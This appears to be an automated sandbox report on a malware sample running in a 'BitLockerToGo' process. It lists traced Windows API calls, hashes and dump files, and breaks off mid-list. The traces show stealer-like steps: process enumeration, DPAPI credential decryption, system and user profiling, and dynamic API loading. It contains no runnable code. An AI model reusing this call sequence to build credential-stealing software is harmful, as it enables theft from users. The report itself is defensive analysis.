Instruction Fuzzy Hash: 68121E719102199ADB1AFB60DDADEFE737AAF54300F4045A9990AB6090EF306F49CFD1

Function 02769600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0276961E
Process32First.KERNEL32(02770ACA,00000128), ref: 02769632
Process32Next.KERNEL32(02770ACA,00000128), ref: 02769647
StrCmpCA.SHLWAPI(?,00000000), ref: 0276965C
CloseHandle.KERNEL32(02770ACA), ref: 0276967A

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: aca1db47d66106c99d15f742d82d26fc5e8f7c27764dacb963f1db052cff4dee
Instruction ID: f976c2a2e472bed230f92e29051807e440a32efd3dc628f72c36103c3a5e03d0
Opcode Fuzzy Hash: aca1db47d66106c99d15f742d82d26fc5e8f7c27764dacb963f1db052cff4dee
Instruction Fuzzy Hash: B3011E75E44308EBCB14DFA5C958BFDB7F8EB48310F004588AA06A7240D7759B50CF90

Function 02759B60 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 02759B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 02759BA3
memcpy.MSVCRT(?,?,?), ref: 02759BC6
LocalFree.KERNEL32(?), ref: 02759BD3

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 225704a8300a5752ec93555bf157b30c6d95208c29e64a894d70c107cdd6bbdb
Instruction ID: 3ca6660c2185596c78c405b7968e840888cc4d8b67f900da97cd7c2389c2b50f
Opcode Fuzzy Hash: 225704a8300a5752ec93555bf157b30c6d95208c29e64a894d70c107cdd6bbdb
Instruction Fuzzy Hash: 5811B7B8A00209EFDB04DF98D989AAEB7B5FF88304F104598ED15A7350D774AA50CFA1

Function 02767A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,029E5C38,00000000,?,02770E10,00000000,?,00000000,00000000), ref: 02767A63
RtlAllocateHeap.NTDLL(00000000), ref: 02767A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,029E5C38,00000000,?,02770E10,00000000,?,00000000,00000000,?), ref: 02767A7D
wsprintfA.USER32 ref: 02767AB7

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 56710708da5a4c1a8fc1c06a47eca50a704ebffc417f9cd5e9735f51ec8fab93
Instruction ID: 007ea9e0113375907c3b48a7c5fa721572ad72b13251bfd958fb853b5f458d21
Opcode Fuzzy Hash: 56710708da5a4c1a8fc1c06a47eca50a704ebffc417f9cd5e9735f51ec8fab93
Instruction Fuzzy Hash: E0118EB1E45218EBEB208B59DC49FB9BB78FB04721F0047DAE90AA3280C7741A40CF90

Function 02767850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,027511B7), ref: 02767880
RtlAllocateHeap.NTDLL(00000000), ref: 02767887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0276789F

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: c1ca157823547e24b5d5a765682a62e3aab92cc236dc4f18ca5cf9608aeae3f4
Instruction ID: d477dd20b0c9f61868f0cb0d705d41816be074eb22865638578101699ef2ba5f
Opcode Fuzzy Hash: c1ca157823547e24b5d5a765682a62e3aab92cc236dc4f18ca5cf9608aeae3f4
Instruction Fuzzy Hash: 29F04FB1D44209ABD714DF99D94ABBEFBB8EB04721F10065AFA05A2680C7791904CBE1

Function 02767ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(02770E2C), ref: 02767F00
wsprintfA.USER32 ref: 02767F16

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: d6e2f34e73e928ec7d263461424b0891a8b751148b890f7cb5165f8f2c77a1de
Instruction ID: 1901fc2398b1fd3a29be79bbd9da6733951370a3d058c4c5d27a7ddcab3eeabf
Opcode Fuzzy Hash: d6e2f34e73e928ec7d263461424b0891a8b751148b890f7cb5165f8f2c77a1de
Instruction Fuzzy Hash: 49F062B1E44208EBDB14CF89DC45FAAFBBCF744624F000669F915A2244D77569148BD4

Function 02769C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,029DEA08), ref: 02769C2D
GetProcAddress.KERNEL32(74DD0000,029DE8A8), ref: 02769C45
GetProcAddress.KERNEL32(74DD0000,029DAC28), ref: 02769C5E
GetProcAddress.KERNEL32(74DD0000,029DABC8), ref: 02769C76
GetProcAddress.KERNEL32(74DD0000,029DAC10), ref: 02769C8E
GetProcAddress.KERNEL32(74DD0000,029DAD18), ref: 02769CA7
GetProcAddress.KERNEL32(74DD0000,029E0270), ref: 02769CBF
GetProcAddress.KERNEL32(74DD0000,029DAD60), ref: 02769CD7
GetProcAddress.KERNEL32(74DD0000,029DAB20), ref: 02769CF0
GetProcAddress.KERNEL32(74DD0000,029DAD78), ref: 02769D08
GetProcAddress.KERNEL32(74DD0000,029DAD90), ref: 02769D20
GetProcAddress.KERNEL32(74DD0000,029DEA48), ref: 02769D39
GetProcAddress.KERNEL32(74DD0000,029DE908), ref: 02769D51
GetProcAddress.KERNEL32(74DD0000,029DEC48), ref: 02769D69
GetProcAddress.KERNEL32(74DD0000,029DEC68), ref: 02769D82
GetProcAddress.KERNEL32(74DD0000,029DAB38), ref: 02769D9A
GetProcAddress.KERNEL32(74DD0000,029DABE0), ref: 02769DB2
GetProcAddress.KERNEL32(74DD0000,029E0298), ref: 02769DCB
GetProcAddress.KERNEL32(74DD0000,029DEA28), ref: 02769DE3
GetProcAddress.KERNEL32(74DD0000,029DABF8), ref: 02769DFB
GetProcAddress.KERNEL32(74DD0000,029DAE08), ref: 02769E14
GetProcAddress.KERNEL32(74DD0000,029DAE20), ref: 02769E2C
GetProcAddress.KERNEL32(74DD0000,029DAE80), ref: 02769E44
GetProcAddress.KERNEL32(74DD0000,029DE928), ref: 02769E5D
GetProcAddress.KERNEL32(74DD0000,029DADD8), ref: 02769E75
GetProcAddress.KERNEL32(74DD0000,029DAE68), ref: 02769E8D
GetProcAddress.KERNEL32(74DD0000,029DAE38), ref: 02769EA6
GetProcAddress.KERNEL32(74DD0000,029DAE50), ref: 02769EBE
GetProcAddress.KERNEL32(74DD0000,029DADF0), ref: 02769ED6
GetProcAddress.KERNEL32(74DD0000,029DAE98), ref: 02769EEF
GetProcAddress.KERNEL32(74DD0000,029E4FC8), ref: 02769F07
GetProcAddress.KERNEL32(74DD0000,029E4FE0), ref: 02769F1F
GetProcAddress.KERNEL32(74DD0000,029E4FF8), ref: 02769F38
GetProcAddress.KERNEL32(74DD0000,029D95F8), ref: 02769F50
GetProcAddress.KERNEL32(74DD0000,029E4F38), ref: 02769F68
GetProcAddress.KERNEL32(74DD0000,029E4D70), ref: 02769F81
GetProcAddress.KERNEL32(74DD0000,029DEA68), ref: 02769F99
GetProcAddress.KERNEL32(74DD0000,029E4DB8), ref: 02769FB1
GetProcAddress.KERNEL32(74DD0000,029DEA88), ref: 02769FCA
GetProcAddress.KERNEL32(74DD0000,029E4D10), ref: 02769FE2
GetProcAddress.KERNEL32(74DD0000,029E4F50), ref: 02769FFA
GetProcAddress.KERNEL32(74DD0000,029DE948), ref: 0276A013
GetProcAddress.KERNEL32(74DD0000,029DE988), ref: 0276A02B
LoadLibraryA.KERNEL32(029E4DD0,?,02765CA3,?,00000034,00000064,02766600,?,0000002C,00000064,027665A0,?,00000030,00000064,Function_00015AD0,?), ref: 0276A03D
LoadLibraryA.KERNEL32(029E4DE8,?,02765CA3,?,00000034,00000064,02766600,?,0000002C,00000064,027665A0,?,00000030,00000064,Function_00015AD0,?), ref: 0276A04E
LoadLibraryA.KERNEL32(029E4E00,?,02765CA3,?,00000034,00000064,02766600,?,0000002C,00000064,027665A0,?,00000030,00000064,Function_00015AD0,?), ref: 0276A060
LoadLibraryA.KERNEL32(029E4EA8,?,02765CA3,?,00000034,00000064,02766600,?,0000002C,00000064,027665A0,?,00000030,00000064,Function_00015AD0,?), ref: 0276A072
LoadLibraryA.KERNEL32(029E4F68,?,02765CA3,?,00000034,00000064,02766600,?,0000002C,00000064,027665A0,?,00000030,00000064,Function_00015AD0,?), ref: 0276A083
LoadLibraryA.KERNEL32(029E4D28,?,02765CA3,?,00000034,00000064,02766600,?,0000002C,00000064,027665A0,?,00000030,00000064,Function_00015AD0,?), ref: 0276A095
LoadLibraryA.KERNEL32(029E4D40,?,02765CA3,?,00000034,00000064,02766600,?,0000002C,00000064,027665A0,?,00000030,00000064,Function_00015AD0,?), ref: 0276A0A7
LoadLibraryA.KERNEL32(029E4E78,?,02765CA3,?,00000034,00000064,02766600,?,0000002C,00000064,027665A0,?,00000030,00000064,Function_00015AD0,?), ref: 0276A0B8
GetProcAddress.KERNEL32(75290000,029DEBE8), ref: 0276A0DA
GetProcAddress.KERNEL32(75290000,029E4D88), ref: 0276A0F2
GetProcAddress.KERNEL32(75290000,029E4A48), ref: 0276A10A
GetProcAddress.KERNEL32(75290000,029E4F80), ref: 0276A123
GetProcAddress.KERNEL32(75290000,029DEAA8), ref: 0276A13B
GetProcAddress.KERNEL32(6FD40000,029E00E0), ref: 0276A160
GetProcAddress.KERNEL32(6FD40000,029DEC08), ref: 0276A179
GetProcAddress.KERNEL32(6FD40000,029E0068), ref: 0276A191
GetProcAddress.KERNEL32(6FD40000,029E4E30), ref: 0276A1A9
GetProcAddress.KERNEL32(6FD40000,029E4D58), ref: 0276A1C2
GetProcAddress.KERNEL32(6FD40000,029DEB88), ref: 0276A1DA
GetProcAddress.KERNEL32(6FD40000,029DEAC8), ref: 0276A1F2
GetProcAddress.KERNEL32(6FD40000,029E4E18), ref: 0276A20B
GetProcAddress.KERNEL32(752C0000,029DEAE8), ref: 0276A22C
GetProcAddress.KERNEL32(752C0000,029DEB68), ref: 0276A244
GetProcAddress.KERNEL32(752C0000,029E4DA0), ref: 0276A25D
GetProcAddress.KERNEL32(752C0000,029E4F98), ref: 0276A275
GetProcAddress.KERNEL32(752C0000,029DEBA8), ref: 0276A28D
GetProcAddress.KERNEL32(74EC0000,029DFF00), ref: 0276A2B3
GetProcAddress.KERNEL32(74EC0000,029E0108), ref: 0276A2CB
GetProcAddress.KERNEL32(74EC0000,029E4E48), ref: 0276A2E3
GetProcAddress.KERNEL32(74EC0000,029E5798), ref: 0276A2FC
GetProcAddress.KERNEL32(74EC0000,029E5738), ref: 0276A314
GetProcAddress.KERNEL32(74EC0000,029E00B8), ref: 0276A32C
GetProcAddress.KERNEL32(75BD0000,029E4E60), ref: 0276A352
GetProcAddress.KERNEL32(75BD0000,029E5678), ref: 0276A36A
GetProcAddress.KERNEL32(75BD0000,029E4928), ref: 0276A382
GetProcAddress.KERNEL32(75BD0000,029E4E90), ref: 0276A39B
GetProcAddress.KERNEL32(75BD0000,029E4EC0), ref: 0276A3B3
GetProcAddress.KERNEL32(75BD0000,029E5638), ref: 0276A3CB
GetProcAddress.KERNEL32(75BD0000,029E5898), ref: 0276A3E4
GetProcAddress.KERNEL32(75BD0000,029E4FB0), ref: 0276A3FC
GetProcAddress.KERNEL32(75BD0000,029E4ED8), ref: 0276A414
GetProcAddress.KERNEL32(75A70000,029E5658), ref: 0276A436
GetProcAddress.KERNEL32(75A70000,029E4EF0), ref: 0276A44E
GetProcAddress.KERNEL32(75A70000,029E4F08), ref: 0276A466
GetProcAddress.KERNEL32(75A70000,029E4F20), ref: 0276A47F
GetProcAddress.KERNEL32(75A70000,029E5028), ref: 0276A497
GetProcAddress.KERNEL32(75450000,029E5698), ref: 0276A4B8
GetProcAddress.KERNEL32(75450000,029E5818), ref: 0276A4D1
GetProcAddress.KERNEL32(75DA0000,029E5858), ref: 0276A4F2
GetProcAddress.KERNEL32(75DA0000,029E5040), ref: 0276A50A
GetProcAddress.KERNEL32(6F070000,029E5578), ref: 0276A530
GetProcAddress.KERNEL32(6F070000,029E5598), ref: 0276A548
GetProcAddress.KERNEL32(6F070000,029E58B8), ref: 0276A560
GetProcAddress.KERNEL32(6F070000,029E50D0), ref: 0276A579
GetProcAddress.KERNEL32(6F070000,029E57D8), ref: 0276A591
GetProcAddress.KERNEL32(6F070000,029E55D8), ref: 0276A5A9
GetProcAddress.KERNEL32(6F070000,029E5878), ref: 0276A5C2
GetProcAddress.KERNEL32(6F070000,029E5778), ref: 0276A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 0276A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 0276A607
GetProcAddress.KERNEL32(75AF0000,029E50B8), ref: 0276A629
GetProcAddress.KERNEL32(75AF0000,029E4978), ref: 0276A641
GetProcAddress.KERNEL32(75AF0000,029E5010), ref: 0276A659
GetProcAddress.KERNEL32(75AF0000,029E5088), ref: 0276A672
GetProcAddress.KERNEL32(75D90000,029E5518), ref: 0276A693
GetProcAddress.KERNEL32(6F8E0000,029E5058), ref: 0276A6B4
GetProcAddress.KERNEL32(6F8E0000,029E56B8), ref: 0276A6CD
GetProcAddress.KERNEL32(6F8E0000,029E5070), ref: 0276A6E5
GetProcAddress.KERNEL32(6F8E0000,029E50A0), ref: 0276A6FD

Strings

InternetSetOptionA, xrefs: 0276A5E5
HttpQueryInfoA, xrefs: 0276A5FC

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 169a7c9bb500b5fbdf2cb3e40de8a94f2f0fd69bba16c973b926d91334e39860
Instruction ID: a325f5acdf1395cfc8de3a85613c7d21a39aaf408f992f82e1526d6cf7085783
Opcode Fuzzy Hash: 169a7c9bb500b5fbdf2cb3e40de8a94f2f0fd69bba16c973b926d91334e39860
Instruction Fuzzy Hash: 99623EB5D9C200AFD344DFAEE9A997637F9F79C3213248D1AA609C3214D73A9861CF50

Function 02757710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,027661C4,?), ref: 02757724
RtlAllocateHeap.NTDLL(00000000,?,027661C4), ref: 0275772B
lstrcat.KERNEL32(?,029E18C8), ref: 027578DB
lstrcat.KERNEL32(?,?), ref: 027578EF
lstrcat.KERNEL32(?,?), ref: 02757903
lstrcat.KERNEL32(?,?), ref: 02757917
lstrcat.KERNEL32(?,029E5DD0), ref: 0275792B
lstrcat.KERNEL32(?,029E5EC0), ref: 0275793F
lstrcat.KERNEL32(?,029E5DE8), ref: 02757952
lstrcat.KERNEL32(?,029E5E90), ref: 02757966
lstrcat.KERNEL32(?,029E6100), ref: 0275797A
lstrcat.KERNEL32(?,?), ref: 0275798E
lstrcat.KERNEL32(?,?), ref: 027579A2
lstrcat.KERNEL32(?,?), ref: 027579B6
lstrcat.KERNEL32(?,029E5DD0), ref: 027579C9
lstrcat.KERNEL32(?,029E5EC0), ref: 027579DD
lstrcat.KERNEL32(?,029E5DE8), ref: 027579F1
lstrcat.KERNEL32(?,029E5E90), ref: 02757A04
lstrcat.KERNEL32(?,029E6168), ref: 02757A18
lstrcat.KERNEL32(?,?), ref: 02757A2C
lstrcat.KERNEL32(?,?), ref: 02757A40
lstrcat.KERNEL32(?,?), ref: 02757A54
lstrcat.KERNEL32(?,029E5DD0), ref: 02757A68
lstrcat.KERNEL32(?,029E5EC0), ref: 02757A7B
lstrcat.KERNEL32(?,029E5DE8), ref: 02757A8F
lstrcat.KERNEL32(?,029E5E90), ref: 02757AA3
lstrcat.KERNEL32(?,029E61D0), ref: 02757AB6
lstrcat.KERNEL32(?,?), ref: 02757ACA
lstrcat.KERNEL32(?,?), ref: 02757ADE
lstrcat.KERNEL32(?,?), ref: 02757AF2
lstrcat.KERNEL32(?,029E5DD0), ref: 02757B06
lstrcat.KERNEL32(?,029E5EC0), ref: 02757B1A
lstrcat.KERNEL32(?,029E5DE8), ref: 02757B2D
lstrcat.KERNEL32(?,029E5E90), ref: 02757B41
lstrcat.KERNEL32(?,029E6238), ref: 02757B55
lstrcat.KERNEL32(?,?), ref: 02757B69
lstrcat.KERNEL32(?,?), ref: 02757B7D
lstrcat.KERNEL32(?,?), ref: 02757B91
lstrcat.KERNEL32(?,029E5DD0), ref: 02757BA4
lstrcat.KERNEL32(?,029E5EC0), ref: 02757BB8
lstrcat.KERNEL32(?,029E5DE8), ref: 02757BCC
lstrcat.KERNEL32(?,029E5E90), ref: 02757BDF
lstrcat.KERNEL32(?,029E62A0), ref: 02757BF3
lstrcat.KERNEL32(?,?), ref: 02757C07
lstrcat.KERNEL32(?,?), ref: 02757C1B
lstrcat.KERNEL32(?,?), ref: 02757C2F
lstrcat.KERNEL32(?,029E5DD0), ref: 02757C43
lstrcat.KERNEL32(?,029E5EC0), ref: 02757C56
